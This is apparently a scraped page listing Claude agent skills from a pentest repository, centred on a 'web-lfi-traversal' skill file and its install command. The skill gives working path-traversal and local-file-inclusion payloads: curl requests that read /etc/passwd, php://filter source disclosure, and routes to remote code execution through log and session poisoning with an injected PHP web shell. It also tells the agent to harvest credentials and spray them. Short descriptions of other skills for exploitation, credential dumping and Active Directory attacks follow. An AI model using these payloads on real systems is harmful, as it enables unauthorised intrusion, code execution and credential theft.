web-lfi-traversal
Path traversal / Local File Inclusion detection→file-read→RCE for web apps. Use when a param names a file/path/page/template/lang/download, or a response embeds file contents. Triggers - file=/page=/path=/template=/lang=/download=/include= param, ../, %2e%2e, "no such file", directory listing, download endpoint.
git clone --depth 1 https://github.com/s0ld13rr/pentestcode /tmp/web-lfi-traversal && cp -r /tmp/web-lfi-traversal/skills/web/lfi-traversal ~/.claude/skills/web-lfi-traversalSKILL.md
# Path Traversal / LFI ## When this fires A param selects a file/page/template/language/download, or a download/include endpoint reflects file content. ## Detect ```bash curl 'http://<t>/?page=../../../../etc/passwd' # classic curl 'http://<t>/?page=%2e%2e%2f%2e%2e%2fetc%2fpasswd' # url-encoded curl 'http://<t>/?page=....//....//etc/passwd' # filter-strip bypass ``` `root:x:0:0` back = traversal/LFI. Windows: `..\..\..\windows\win.ini`. ## Decide - Reads only (traversal) → escalate to source disclosure + secrets. - PHP `include()` (LFI) → escalate to RCE via wrappers/poisoning. - Extension appended (`page.php`) → `php://filter` (below) or null-byte on old PHP; try `?page=../../etc/passwd%00` (PHP<5.3.4). ## Exploit → PROVE IMPACT ```bash # source disclosure (base64 so PHP doesn't execute it): curl 'http://<t>/?page=php://filter/convert.base64-encode/resource=index.php' | base64 -d # high-value reads: app config/.env, DB creds, SSH keys, /proc/self/environ, /proc/self/cmdline # LFI → RCE paths: # log poisoning: inject <?php system($_GET[c]);?> into UA/referer → include /var/log/apache2/access.log # session poisoning: write PHP into a session var → include /var/lib/php/sessions/sess_<PHPSESSID> # php://input / data:// (if allow_url_include) ; /proc/self/environ (older) # php filter chain → RCE (php_filter_chain_generator) when only file-read is available ``` **Proof required:** contents of a file the app shouldn't return (`/etc/passwd`, an .env with creds), or `id` via an LFI→RCE chain. Harvested creds → add_credential + cred_spray. ## Tooling `nuclei -tags lfi,traversal`; `ffuf` with an LFI wordlist on the param; php_filter_chain_generator for filter-only cases. ## False positives / pitfalls - WAF/framework normalizes `../` → try encodings, `....//`, absolute paths, or a different param. - App sandboxes to a base dir → look for a symlink/upload you control to include. - 200 with generic page ≠ read — confirm the actual file bytes are in the response.
Work with Effect v4 / effect-smol TypeScript code in this repo
Active enumeration phase — port scanning, service detection, banner grabbing. Use when the current phase is ENUMERATION.
Exploitation phase — exploit confirmed vulns, credential attacks, gain access. Use when the current phase is EXPLOITATION.
Post-exploitation phase — privilege escalation, lateral movement, credential dumping, data discovery. Use when the current phase is POST_EXPLOIT.
Passive reconnaissance phase — OSINT, DNS, WHOIS, subdomain discovery. Use when starting a new engagement or when the current phase is RECON.
Reporting phase — generate structured pentest report from findings. Use when the current phase is REPORTING.
Vulnerability assessment phase — scanning, CVE lookup, misconfig detection. Use when the current phase is VULN_ASSESS.
Active Directory pentest playbook — Kerberos, LDAP, GPO, ADCS, delegation, lateral movement, DA paths. Load at the START of an AD engagement or when a Windows domain / DC is found. Triggers - domain controller, Kerberos 88, LDAP 389/636, domain SMB, BloodHound, kerberoast, AS-REP, NTLM, ESC1-8.